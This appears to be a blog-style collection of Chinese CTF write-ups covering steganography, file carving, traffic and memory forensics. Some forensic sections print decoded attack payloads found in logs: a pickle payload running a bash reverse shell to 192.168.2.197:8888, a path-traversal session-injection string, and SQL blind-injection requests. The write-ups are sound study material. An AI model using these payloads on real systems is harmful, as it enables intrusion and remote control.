[CISCN 2018]Picture

打开是一张图片,binwalk解压得到两个文件

image-20230906140725773

其中一个是base64编码

image-20230906140828293

解码发现神似压缩包,此时不要直接复制解码后的明文,打开010新建一个空文本,选择粘贴自base64。因为使用别的软件可能会出现一些问题

image-20230906141311956

将文件头修复

image-20230906141457788

用7z打开,但是解压文件需要密码,bing搜索报错信息ZeroDivisionError:

image-20230906141650461

搜到多个报错

image-20230906141758459

最终解压密码为

integer division or modulo by zero

打开code文件,是uucode编码,

image-20230906141943595

解码

image-20230906142011796

CISCN{2388AF2893EB85EB1B439ABFF617319F}

[CISCN 2023 初赛]被加密的生产流量

第一次接触工控流量

追踪TCP流,这个流量有点奇特

image-20230905143101208

记录下来

MMYWMX3GNEYWOXZRGAYDA===

用base32解码

image-20230905143923959

c1f_fi1g_1000

[GDOUCTF 2023]pixelart

打开压缩包,是一张图片,图片有点大。。。

arcaea

用010打开图片,有隐藏的信息320x180

image-20230904133237393

放大图片仔细看,可以看到flag被使用白点写在图片上

image-20230904133506226

放大图片记录,原来这是假的flag

flag{fake_flag}

发现图片上还有其他的像素点,原图大小3840x2160,根据之前给出的线索320x180我们可以知道每一个像素点之间的距离为12

这里需要用到python脚本来实现把图片像素化

from PIL import Image

original_image = Image.open('res/arcaea.png')

new_width = original_image.width // 12
new_height = original_image.height // 12

new_image = Image.new("RGB",(new_width,new_height))

for x in range(new_width):
    for y in range(new_height):
        pixel = original_image.getpixel((x *12,y*12))
        new_image.putpixel((x,y),pixel)

new_image.save("flag.png")

flag

然后可以使用zsteg查看图片隐写

image-20230904143120214

也可以使用stegsolve查看

image-20230904143206750

flag{J3st_2_cats_battling}

[HDCTF 2023]hardMisc

打开压缩包,是个图片

image-20230830121850165

直接拉到kali分离

image-20230830121950171

没有东西,随机使用010打开

image-20230830122057163

内容如下

SERDVEZ7d0UxYzB3M18xMF9IRGN0Zl9NMTVjfQ==

解码就是flag:HDCTF{wE1c0w3_10_HDctf_M15c}

[HUBUCTF 2022 新生赛]最简单的misc

打开文件是一个图片

image-20230831102912950

直接用010打开图片,没有发现

把文件拉到kali进行分离,没有发现

zsteg测试,发现lsb隐写

image-20230831104259676

直接使用命令提取

image-20230831104659519

打开1.png发现是个二维码

image-20230831104731175

使用CaptfEncoder解码

image-20230831104856358

flag:

NSSCTF{aacc4238460996f0178c18d7637c9dd5}

[LitCTF 2023]404notfound (初级)

解压之后是一个图片

image-20230828101118969

binwalk分离无果

用010打开图片,拉到最后,没有发现有用的信息

在kali里使用strings命令查看

image-20230828102243162

发现flag值:LitCTF{Its_404_but_1ts_n0t_a_page}

[LitCTF 2023]Osint小麦果汁

使用binwalk分离,没有成果

010打开没有发现有用的信息

涉及到知识盲区了,果断看WP,原来是社工题,

根据墙上的wifi名称可以搜索到店名

黑客与精酿

[LitCTF 2023]Take me hand (初级)

打开流量包过滤http

image-20230829131841214

点开其中一个请求包可以看到请求内容就是flag

image-20230829131929775

LitCTF{Give_y0ur_hand_to_me!!!_plz}

[LitCTF 2023]破损的图片(初级)

打开压缩包,里面是一个没有后缀名的文件

image-20230831130438973

用010打开,发现文件头缺失了

image-20230831130655578

修复文件头

image-20230831131123578

成功打开文件

image-20230831131146253

flag

LitCTF{May you, the beauty of this world, always shine.}

[LitCTF 2023]这羽毛球怎么只有一半啊(恼 (初级)

图片只有一半

image-20230828105727274

应该是要爆破图片宽高

010直接更改图片高度,保存打开图片可以看到完整图片了

image-20230828115241690

image-20230828115419501

image-20230828115441917

LitCTF{Fl4g_0fcourse!}

[NISACTF 2022]bilala的二维码

binwalk分离,无果

010查看无果

只能补全二维码了

bilala1QRcode

使用画图工具补全三个定位角

image-20230904170841950

再使用QRResearch工具扫描二维码

image-20230904170921451

访问解码出来的链接,下载网页中的图片。

foremost分离出来一个压缩包image-20230904171439602

拉到windows下,需要密码才能解开

用ARCHPR爆破

image-20230904194142210

压缩包密码NiSA

image-20230904194632489

用Audacity打开mp3文件,是音频隐写

image-20230904194650780

.--. .- .-. - .---- ---... -- ----- .-. ... ...-- ....- -. -..

解码得到

PART1:M0RS34ND

这是flag的前半段,这里还要加上一个图片的分辨率

是通过foremost分离出来的另外一张图片

image-20230904200352949

image-20230904200422559

这另外半段可真是****

NSSCTF{M0RS34ND282X231}

[NISACTF 2022]bmpnumber

题目的附件图片名称为wb4,且为bmp文件

这是在提示使用wbStego4open

image-20230905132210543

分离出一个破损的二维码图片

image-20230905132305306

我们使用windows画图工具修复三个定位角后解码

image-20230905132451908

访问解码后得到的链接,提示需要密码

image-20230905132545321

看了前面的步骤都没有密码提示,网页提示weak,可能是弱口令,最后猜密码是password

是一个docx文件,打开文档,全选改字体颜色看有没有透明字,发现flag就在最后

image-20230905134519938

flag{this_is_you_need_flag!}

[NISACTF 2022]bqt先

先拉到kali里查看文件类型

image-20230828161452394

是一个pdf文件

binwalk分离无果

使用010打开文件,没有发现有用的信息

最后打开pdf文件查看,使用ctrl+A全选,发现文档中间有内容,复制查看

c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd

每间隔两个字符加个空格

c8 e9 ac a0 c3 f4 e6 e5 f2 a1 a0 d4 e8 e5 a0 e6 ec e1 e7 a0 e9 f3 ba a0 e6 ec e1 e7 fb f7 e5 e6 e5 ef e9 e4 ea e7 ef e5 e4 f3 e6 e9 ef f2 f0 e5 e6 e4 e6 e7 e7 e6 e4 f3 e5 fd

转换成10进制

200 233 172 160 195 244 230 229 242 161 160 212 232 229 160 230 236 225 231 160 233 243 186 160 230 236 225 231 251 247 229 230 229 239 233 228 234 231 239 229 228 243 230 233 239 242 240 229 230 228 230 231 231 230 228 243 229 253

因为flag一般最后一个字符是}

}字符的ASCII码序号是125

253-125=128,可以每个字符减128试试

72 105 44 32 67 116 102 101 114 33 32 84 104 101 32 102 108 97 103 32 105 115 58 32 102 108 97 103 123 119 101 102 101 111 105 100 106 103 111 101 100 115 102 105 111 114 112 101 102 100 102 103 103 102 100 115 101 125

ascll解码得到

Hi, Ctfer! The flag is: flag{wefeoidjgoedsfiorpefdfggfdse}

恶心~

一般flag都是用}结尾的 }的ascii十进制值为125

[NISACTF 2022]huaji?

使用binwalk进行分离

image-20230827120618515

得到的压缩包需要密码解压

image-20230827120802621

找不到密码,在原图片上看看,发现huaji?的属性里有一串奇怪的字符6374665f4e4953415f32303232

image-20230827121638167

对其进行ascll解码得到ctf_NISA_2022

image-20230827121857045

使用解码字符对压缩包解压缩,得到flag值flag{Nls@_FumYEnnOjy}

[NISACTF 2022]为什么我什么都看不见

使用010打开文件,破损的PNG文件头,补好

image-20230827173547339

然后给文件加上后缀

在kali使用zsteg查看隐写

image-20230827173729331

得到flag值NISA{Wlec0me_to_NiSa2022}

[NISACTF 2022]流量包里有个熊

拿到文件后发现没有后缀,先拉到kali分析

image-20230902161138093

鉴定为pcap文件,随即增加后缀名

wireshark打开流量包分析,发现有少量HTTP请求

image-20230902161835678

导出被访问的图片

image-20230902161918732

是一头熊,也算是符合题意了,估计flag就在它身上

image-20230902162019277

binwalk分析图片,发现还隐藏着一个RAR压缩包

image-20230902162210173

使用binwalk CuteBear.jpg -e分离压缩包

压缩包里还有一个小熊图片和两个flag

对其中一个flag文件进行BASE64解码,这是假的flag

image-20230902162722845

打开另一个文本,没有发现什么,似乎是一段密文,先放着,等会在看

image-20230902170250395

我们把压缩包里的图片再次分离,发现和上一层有点不一样

image-20230902170405633

image-20230902170439740

两个个flag.txt和上一层都是一样的,唯一变的是文件夹的名称,文件夹名称变为13,结合那段密文尝试解密,猜测有可能是ROT13加密,随即解密

image-20230902170716795

成功解密,明文开头为FFD8,是JPEG文件没错了,010新建并写入保存为JPG文件

image-20230902170922965

这是原图

Untitled2

在此图片上没有发现其他隐藏信息,所以应该是盲水印

这里使用吾爱破解论坛发布的WaterMark进行查看水印

这里附工具的下载方式:工具下载

image-20230902182929697

图片非常模糊,

S0_clev2l_You

[SWPU 2019]Network

TTL隐写

IP报文在路由间穿梭的时候每经过一个路由,TTL就会减1,当TTL为0的时候,该报文就会被丢弃。
TTL所占的位数是8位,也就是0-255的范围,但是在大多数情况下通常只需要经过很小的跳数就能完成报文的转发,
远远比上限255小得多,所以我们可以用TTL值的前两位来进行传输隐藏数据。
如:须传送H字符,只需把H字符换成二进制,每两位为一组,每次填充到TTL字段的开头两位并把剩下的6位设置为1(xx111111),这样发4个IP报文即可传送1个字节。

根据上述规则,可以知道TTL隐写中用到四个值:00 111111(63),01 111111(127),10 111111(191),11 111111(255),解密的时候只取前两位,然后转换成ascii
简化一下,可以这么认为:

00 替换 63
01 替换 127
10 替换 191
11 替换 255
import binascii

data = ''
data_bin = ''

with open('res/attachment-2.txt', 'r') as f:
    for line in f:
        line = line
        if int(line) == 63:
            data_bin += '00'
        if int(line) == 127:
            data_bin += '01'
        if int(line) == 191:
            data_bin += '10'
        if int(line) == 255:
            data_bin += '11'
print(data_bin)
for i in range(0, len(data_bin), 8):
    data += chr(int(data_bin[i:i + 8], 2))
print(data)

f2 = open("result.txt", "wb")
res = binascii.unhexlify(data)
f2.write(res)

打开脚本输出的文件

image-20230831150148240

很明显这是一个zip压缩包

我们改后缀为zip打开,发现了flag.txt

image-20230831150252916

base64解码

import base64

with open('res/flag.txt', 'r') as f:
    for i in f:
        print(i)
    data = f.read().encode()
    while True:
        data = base64.b64decode(data)
        if b'flag' in data:
            break
    print(data)

得到的flag:

flag{189ff9e5b743ae95f940a6ccc6dbd9ab}

[SWPU 2019]伟大的侦探

打开压缩包有一个文件夹和一个txt文本

image-20230830185950098

文件夹杯加密了,我们打开密码.txt

image-20230830190032862

是两串乱码

用010打开密码.txt,切换字符集为EBCDIC

image-20230830190823454

得到了:

wllm_is_the_best_team!

使用这个字符串解压剩下的内容

是一堆跳舞的小人

image-20230830191249707

解码图

跳舞的小人对应表

解密得到

iloveholmesandwllm

[SWPU 2019]漂流记的马里奥

题目给的是一个exe文件,双击运行会创建1.txt

image-20230827195658049

image-20230827195710245

使用010打开文件,发现末尾是个rar压缩包以及ntfs和flag.txt

image-20230827195901155

在cmd中使用dir /r命令可以发现 1.txt:flag.txt

image-20230827210410554

最后使用notepad 1.txt:flag.txt可以查看隐藏的内容

image-20230827210502434

得到flag值swupctf{ddg_is_cute}

[SWPU 2019]神奇的二维码

使用foremost -i MISC-神奇的二维码-BitcoinPay.png未分离出内容

foremost分离

使用binwalk -e *.png --run-as=root分离出多个rar压缩包

image-20230827101620731

image-20230827101958767

  • 解密flag.doc中的内容,得到comEON_YOuAreSOSoS0great,据测试是18394.rar的密码,解开压缩包得到good.mp3

  • 解密encode.txt中的内容得到asdfghjkl1234567890,据测试是看看flag在不在里面^_^.rar 的密码,解开压缩包得到flag.jpg

使用Audacity64.exe打开good.mp3发现是莫斯电码,记录得到

-- --- .-. ... . .. ... ...- . .-. -.-- ...- . .-. -.-- . .- ... -.--

解码后:morseisveryveryeasy

提交flag

[SWPU 2020]套娃

使用binwalk分离文件

image-20230827110617216

分离出一个压缩包内含两个文件

image-20230827110902406

打开txt文件发现内部是rc4密文U2FsdGVkX19uI2lzmxYrQ9mc16y7la7qc7VTS8gLaUKa49gzXPclxRXVsRJxWz/p,需要找到key

image-20230827111004446

对swpu.xls解压,内部含有两个文件

image-20230827111208681

解压rc4key.zip需要密码,esayrc4.xlsx无法再次解压,随即使用010打开查看,

image-20230827111437244

拉到最后,发现密码为6e4c834d77cba03af41e1562a5bce84e

使用在在线解密工具得到明文为ef1a73d40977a49b99b871980f355757

image-20230827111624674

[SWPU 2020]找找吧

题目的附件需要解压密码

image-20230828084348396

使用binwalk分离无果

使用foremost分离无果

使用010打开附件,直接拉到最后,发现了key

image-20230828085125413

压缩包内有一个mp3文件和一个压缩包,mp3文件使用Audacity打开,在音频的最后发现了像摩斯密码的内容

image-20230828085623626

image-20230828085729160

记录得到

-.. ....- ...-- ----. -.... ...-- . ----. ..--- -... ----- .---- ..--- .- .- -...

解码得到

d43963e92b012aab

用此字符串做压缩包密码,显示密码错误。

猜测可能是md5值,随机在线解密。得到明文

n1ce_try

在线解密网站:https://www.somd5.com/

image-20230828090823133

解压缩得到两张图片

image-20230828091328566

将gif图片使用movgear-gif打开,看到某一帧带有一串字符

image-20230828091736418

识别到flag值

image-20230828091825248

随即提交但是错误

似乎是凯撒密码,批量解密

image-20230828095511800

得到flag值:sWpu_N1c3_Try

[SWPU 2020]耗子尾汁

上来先分离试试

image-20230830102234837

打开其中一个压缩包,里面有flag.txt

image-20230830102319142

这是一个错误的flag

在另一个压缩包含有一个视频文件

image-20230830102414856

看来是个视频隐写

播放视频,暂停看到一串字符

image-20230830102550742

c2lnbl9pbg==

使用工具解码image-20230830102755978

将视频再次分离

image-20230830103023591

得到一个压缩包需要密码才能解压

于是把刚刚解码得到的字符串作为密码解压

打开解压后的文本文档

image-20230830103225517

翻译注释:The last layer is the single table replacement password( 最后一层是单表替换密码 )

原密文为

R1pCVE9OUlhHVTNES05SWkdZWVRNUVJYSEEzVEtOUlVHNFpUT09KWEdFM0RLTlJZRzRaVE9RSlhHRTNEUU5aWkdaQkRNTlpXRzQzVEdOWlpHNDRUTVFaV0lJM1RNTlpXR1k0UT09PT0=

base64解压一次得到

GZBTONRXGU3DKNRZGYYTMQRXHA3TKNRUG4ZTOOJXGE3DKNRYG4ZTOQJXGE3DQNZZGZBDMNZWG43TGNZZG44TMQZWII3TMNZWGY4Q====

base32解码一次得到

6C76756569616B7875647379716568737A7168796B67677379796C6B767669

ASCII解码得到

lvueiakxudsyqehszqhykggsyylkvvi

仿射密码解码得到

flagyouhavesignedinsuccessfully

可以看到文本文件的文件名为19_20,仿射密码a和b的值也为19_20

image-20230830110155260

image-20230830110213462

需要注意的是经过仿射密码得到的字符串不能直接提交

NSSCTF{you_have_signed_in_successfully}

[SWPUCTF 2021 新生赛]gif好像有点大

使用foremost和binwalk分离文件无果

010打开文件也没有发现什么有用的信息

随即使用Stegsolve.jar打开gif,选择frame browser模式

image-20230827170114514

一个一共800多帧,在562帧发现一个二维码

image-20230827170409299

使用微信或者QR Research扫码

image-20230827170317585

得到flag值为NSS{The_G1F_ls_T00_b1g}

[SWPUCTF 2021 新生赛]zipbomb

题目说不要解压压缩包

我们用7z打开压缩包查看,没有发现

image-20230902160017196

使用binwalk分析文件,发现还有一个压缩包

image-20230902160430677

随即,binwalk分离文件需要手动暂停,不然会把所有文件对分离出来

image-20230902160636502

image-20230902160648311

也可使用foremost分离,无需手动暂停

image-20230902160728420

打开第二个压缩包即是flah文件

image-20230902160832034

NSSCTF{Z1p_B00m_d1sp0sal}

[SWPUCTF 2021 新生赛]原来你也玩原神

压缩包解压错误

拖到kaili进行分离

image-20230831095217476

什么也没分离出来

kali显示文件类型

image-20230831101327721

发现是mp3格式文件

将文件后缀改为mp3,用Audacity打开

image-20230831101534739

没有发现音频隐写

随即使用MP3Stego解码

image-20230831101640493

打开分析出来的txt文本

image-20230831101725129

504b 0304 1400 0900 0800 6db2 3c53 1602
0d75 3600 0000 7902 0000 0800 0000 7465
7374 2e74 7874 edc4 410a 0010 1005 d0c3
2976 3663 ff9b a428 8cc2 4272 7797 b0f4
16cf 1229 a7ff ffb7 6f12 2c99 e0dc 052d
f382 09b5 c754 914a 633f ce05 504b 0102
3f00 1400 0000 0800 6db2 3c53 1602 0d75
3600 0000 7902 0000 0800 2400 0000 0000
0000 2000 0000 0000 0000 7465 7374 2e74
7874 0a00 2000 0000 0000 0100 1800 054d
41d7 73b4 d701 a780 52db 73b4 d701 cfdc
aa53 73b4 d701 504b 0506 0000 0000 0100
0100 5a00 0000 5c00 0000 0000

image-20230831101949700

发现是个zip压缩包,zip的文件头是504b 0304

压缩包需要密码才能打开,猜测是个伪加密,改09为00

image-20230831102223698

成功打开压缩包

image-20230831102310035

flag:

NSSCTF{So_you_also_play_Genshin_impact}

[SWPUCTF 2021 新生赛]我flag呢?

打开文件

image-20230831131708601

词频统计

from collections import Counter
import re

flag = ''

with open('res/附件.txt', 'r') as f:
    for line in f:
        text = line

text = re.findall("{(.*?)}", text)
for i in text:
    flag += i
wordcount = Counter(flag.lower())
wordcount = wordcount
print(wordcount)
for i in wordcount:
    print(i[0], end='')

需要注意的是,题目给的文本是两行,我们把两行合并成一行保存后再运行脚本

运行脚本

image-20230831134334915

yourflagis81e57d2bc90364t

因为t只出现了一次

所以最后的flag为

NSSCTF{81e57d2bc90364}

[UTCTF 2020]Zero

是零宽隐写

image-20230901140656857

零宽隐写在线解密

将文本复制到网站解密即可

image-20230901140642209

utflag{whyNOT@sc11_4927aajbqk14}

[羊城杯 2021]Baby_Forenisc

查看历史命令

image-20230904154233373

由历史命令可知,flag和git有关

查看ie

image-20230904145506659

查找ssh.txt文件

image-20230904150218179

保存文件

image-20230904150504247

base64解码保存的文件

image-20230904151044768

发现了一个QQ邮箱

song552085107@qq.com

用github搜索用户

image-20230904160428206

在这个人的仓库里找到__APP__下载查看

用010打开文件,选择text模式

image-20230904160316948

在2169行找到了一行base64编码,解码得到flag

image-20230904160642272

SangFor{S0_3azy_2_crack_noob_player}

[蓝帽杯 2022 初赛]网站取证

据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。

问1

请从网站源码中找出木马文件,并提交木马连接的密码。

打开压缩包,是网站的根目录备份压缩包和sql备份文件。

我们直接解压压缩包,被火绒查杀出一个webshell

image-20230830144300440

那么题目需要的木马文件应该就是它了

我们打开该文件

image-20230830144554819

连接密码是

lanmaobei666

问2

请提交数据库连接的明文密码

通过Seqy源码审计系统全局搜索password

image-20230830150325734

点开第一个database.0.php,发现数据库用户名明文显示在此文件内,同时看到密码是由my_encrypt()函数决定的

image-20230830150448782

追踪到my_encrypt()函数所在的文件

image-20230830150735660

我们搭建一个php环境运行一下这个文件,同时输出密码

image-20230830154140311

image-20230830154159345

需要注意的是php环境版本不能高于7.1。因为代码中使用的mcrypt_module_open()函数在7.2版本被弃用了

明文密码为

KBLT123

问3

请提交数据库金额加密混淆使用的盐值。

全局搜索key

image-20230830154830593

第一项内容似乎就是问题提到的盐值

image-20230830154947229

题主似乎在说加盐最狗🤣

盐值为

jyzg123456

问4

请计算张宝在北京时间2022-04-02 00:00:00-2022-04-18 23:59:59累计转账给王子豪多少RMB?(换算比例请从数据库中获取,答案参考格式:123.45)

放着别做了😂浪费时间

[蓝帽杯 2022 初赛]计算机取证

现对一个windows计算机进行取证,请您对以下问题进行分析解答。

问1

从内存镜像中获得taqi7的开机密码是多少?

image-20230901151036671

密文:7f21caca5685f10d9e849cc84c340528

anxinqi

问2

制作该内存镜像的进程Pid号是多少?

MagnetRAMCaptu是制作镜像制作工具

volatility -f 1.dmp --profile=Win7SP1x64 pslist

image-20230902141951071

所以进程号是2192

2192

问3

bitlokcer分区某office文件中存在的flag值为?(答案参考格式:NSSCTF{abcABC123})

Bitlocker是windows系统的加密分区

[陇剑杯 2021]ios

一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答

问1

黑客所控制的C&C服务器IP是

打开压缩包是三个文件

image-20230831152757660

打开wireshark,在第 15 TCP流有重要明文信息

image-20230831154955567

可以看到IP暴露

3.128.156.159

问2

黑客利用的Github开源项目的名字是

如图,github链接

image-20230831155305065

stowaway

问3

通讯加密密钥的明文是

如图

image-20230831155633134

hack4sec

问4

黑客通过SQL盲注拿到了一个敏感数据,内容是

这一问考察的是tls流量的解密,需要用到题目提供的keylog.txt

首先打开首选项

image-20230831160231166

点开Protocols,找到TLS

image-20230831160450529

选择keylog.txt然后确定即可

image-20230831160517709

筛选HTTP2

image-20230831160659905

查找select字符串

image-20230831192314908

对其中一条进行URL解码

GET /info?l=1&o=(case_when_(select_hex(substr(password,1,1))_from_user)="2D"_then_id_else_col1_end)

选中开始盲注到盲注结束的包

image-20230831193146679

选择导出为纯文本

image-20230831193209892

选择查询的包和取消勾选packet details

image-20230831193342543

导出后

image-20230831193427695

import re

flag = ''
num_old = 1

with open('res/triffi.txt', 'r') as f:
    for line in f:
        if re.search('(application/json)', line):
            continue
        if re.search('o=%28case_when_%28select_hex%28substr%28password', line):
            num = int(re.findall(f"%2C(.*?)%2C1%29%29", line)[0])
            if num > num_old:
                num_old = num
                flag += chr(int(var, 16))
                print(flag)
            var = re.findall(f"user%29%3D%22(.*?)%22", line)[0]

image-20230831195536119

得到敏感数据

746558f3-c841-456b-85d7-d6c0f2edabb2

问5

黑客端口扫描的扫描器的扫描范围是

选择分析-专家信息

image-20230901094440035

取消勾选过滤器的限制

image-20230901094518082

打开RST

image-20230901094547982

如图,从10开始

image-20230901094634504

扫到499号端口结束

image-20230901094721486

此外,打开统计-会话

image-20230901103807273

选择TCP,并对端口进行排序,可以看到端口的规律

image-20230901103851115

这样也可以得到扫描的端口

10-499

问6

被害者手机上被拿走了的私钥文件内容是

问7

黑客访问/攻击了内网的几个服务器,IP地址为

上面黑客对192.168.1.12进行了sql盲注

另外,根据access.log文件

image-20230901102302571

我们可以知道172.28.0.3也是受害者之一

172.28.0.3#192.168.1.12

问8

黑客写入了一个webshell,其密码为

我们观察log文件

image-20230901103009402

发现黑客在执行whoami

所以密码为

fxxk

[陇剑杯 2021]SQL注入

问1

明显的布尔盲注

问2

拉到日志最后

image-20230827145327453

看到字段为flag,数据库为sqli,表为flag

问3

观察发现匹配到正确的字符时,响应的页面字符大小为479|480|481|482根据这个特征有此脚本

import re

flag = ''
with open('res/access.log', 'r') as f:
    for line in f:
        if re.search('(select%20flag%20from%20sqli.flag)', line):
            if re.search('479|480|481|482', line):
                line = re.findall("%20=%20'(.+)',1,", line)[0]
                flag += line
                print(flag)

最后得到flag值flag{deddcd67-bcfd-487e-b940-1217e668c7db}

[陇剑杯 2021]内存分析

问1

解开压缩包得到两个文件

image-20230829101826317

先看txt文本

image-20230829101857649

使用volatility对文件进行分析

首先查看镜像信息

image-20230829103417211

题目是需要知道虚拟机的密码,可以使用mimikatz查看或者lsadump

image-20230829103822601

flag值:flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}

问2

先找找关键字ctf或者flag什么的,发现有HUAWEI

image-20230829105701484

根据题意,flag在某品牌手机的备份文件里面,随机筛选HUAWEI关键词

image-20230829105749832

将文件都下载下来

image-20230829110349048

下载华为备份解密工具,

工具地址:https://github.com/RealityNet/kobackupdec

使用命令解密 解密需要密码,密码根据提示是上一问的flag值

python .\kobackupdec.py -vvv W31C0M3_T0_THiS_34SY_F0R3NSiCX 'C:\Users\dell\Downloads\Compressed\kobackupdec-master\HUAWEI P40_2021-aa-bb xx.yy.zz' C:\Users\dell\Downloads\Compressed\kobackupdec-master\buk

打开解密后的文件夹,发现一个压缩包

image-20230829122055096

使用7z打开

image-20230829122133917

发现flag值flag{TH4NK Y0U FOR DECRYPTING MY DATA}

[陇剑杯 2021]日志分析

问1

根据日志文件发现响应码200极少,随机筛选含200的行。

发现了泄露的www.zip文件

image-20230827155715439

问2

查看日志,在最后发现了/?filename=的语句,

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D

解码得到
../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}

所以文件名为sess_car

问3

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D

解码得到
../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}

可以看到使用的是SplFileObject类读取的flag

[陇剑杯 2021]简单日志分析

问1

简单分析可知参数为user

问2

127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnY2F0IC9UaDRzX0lTX1ZFUllfSW1wb3J0X0ZpMWUnCnAxCjAoZzAKbHAyCjAoSTAKdHAzCjAoZzMKSTAKZHA0CjBjb3MKc3lzdGVtCnA1CjBnNQooZzEKdFIu HTTP/1.1" 500 -

解密得到
I0
p0
0S'cat /Th4s_IS_VERY_Import_Fi1e'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.

所以黑客查看秘密文件的绝对路径为/Th4s_IS_VERY_Import_Fi1e

问3

127.0.0.1 - - [07/Aug/2021 10:43:12] "GET /?user=STAKcDAKMFMnYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk3Lzg4ODggMD4mMScKcDEKMChnMApscDIKMChJMAp0cDMKMChnMwpJMApkcDQKMGNvcwpzeXN0ZW0KcDUKMGc1CihnMQp0Ui4= HTTP/1.1" 500 -


解码得到
I0
p0
0S'bash -i >& /dev/tcp/192.168.2.197/8888 0>&1'
p1
0(g0
lp2
0(I0
tp3
0(g3
I0
dp4
0cos
system
p5
0g5
(g1
tR.

所以黑客反弹shell的ip和端口为192.168.2.197:8888

[鹏城杯 2022]简单取证

./volatility -f file.raw imageinfo 

image-20230925141104103

看一下cmd历史命令

./volatility -f file.raw --profile=WinXPSP2x86 cmdscan

image-20230925142054617

看到了一个密码,内容是62b041223bb9a,应该在后面有用

再看一下浏览器访问记录

./volatility -f file.raw --profile=WinXPSP2x86 iehistory

image-20230925141152586

发现了一个图片文件,保存下来

./volatility -f file.raw --profile=WinXPSP2x86 filescan | grep secret.jpg
./volatility -f file.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002325028 -D ./

image-20230925141315977

查看文件,对文件base64解码,010查看发现文件倒过来了,根据文件头特征判断是zip文件

建议用base64解码和写入全程使用python

import base64

with open('res/file.None.0x81fc6610.dat', 'r') as f:
    data = base64.b64decode(f.read())

with open('res/1.zip', 'wb') as f:
    f.write(data[::-1])

打开1.zip,需要密码才能解压,用前面发现的密码解开

压缩包里的flag.txt,有大量数字组合,其中每组第二个数字到349就会重新计数,最后一个组合是349 349,猜测是坐标画图

from PIL import Image

im = Image.new("RGB", (350, 350), (0, 0, 0))

with open("res/flag.txt", "r") as f:
    r = f.read()

lst = r.split("\n")
print(lst)
for i in lst:
    x = int(i.split(" ")[0])
    y = int(i.split(" ")[1])
    im.putpixel((x, y), (255, 0, 255))

im.save("res/flag.png")

画出来是一个二维码,扫描二维码即可得到flag

flag{a6b93e36-f097-11ec-a9b2-5254002d2b31}

[鹤城杯 2021]Misc2

先拉到010查看,没有发现

再拉到kali binwalk分离,没有隐藏文件

zsteg看看

image-20230905135915097

发现了Unicode编码,拉出来解码

image-20230905140039392

flag{h0w_4bouT_enc0de_4nd_pnG}

[鹤城杯 2021]New MISC

题目给的是一个pdf文件

image-20230829132242964

010打开看不出来什么东西

应该是一个隐写

wbstego4open下载 :http://wbstego.wbailer.com/

用wbstego4open来查看隐写内容

打开软件选择Decode

image-20230829172914185

选择PDF把需要查看的文件选上

image-20230829173010034

这里空着

image-20230829173022840

选择保存到哪里,这里选择保存到1.txt

image-20230829173049688

完成

image-20230829173114105

打开1.txt

image-20230829173249779

flag值:flag{verY_g00d_YoU_f0und_th1s}

[鹤城杯 2021]流量分析

题目打开,是个pacpng包

image-20230828180613752

明显的sql注入流量

筛选流量

image-20230828182101087

选择导出为纯文本

image-20230828182552538

取消勾选Packet details后导出

image-20230828193622826

导出后的文件

image-20230828193727851

脚本

import re

flag = ''
var_back = 0

with open('res/timu.txt', 'r') as f:
    for line in f:
        if re.search('(text/html)', line):
            continue
        if re.search(f"[%20and%20ascii(substr((select%20flag%20from%20t),]", line):
            var = int(re.findall(f"[,1))]=(.*?)--+", line)[0])
            if var <= var_back:
                flag += str(var_back) + ' '
                print(flag)
            var_back = var

image-20230828203829847

[HDCTF 2023]MasterMisc

  • 把压缩包使用ARCHPR爆破,得到密码,解开后是一个图片

  • 把图片扔到foremost分解,得到另一个图和一个wav文件

先看图片,根据图片上的提示文字,推断需要修改高度,010修改高度得到中间一段flag

image-20231010103259560

再看音频文件,audacity查看频谱图发现前段flag

image-20231010103027481

至此,只剩下原图没有找到flag,

  • 回到原图,在图二和音频文件中找到后段flag

image-20231010103817160

NSSCTF{e67d8104-7536-4433-bfff-96759901c405}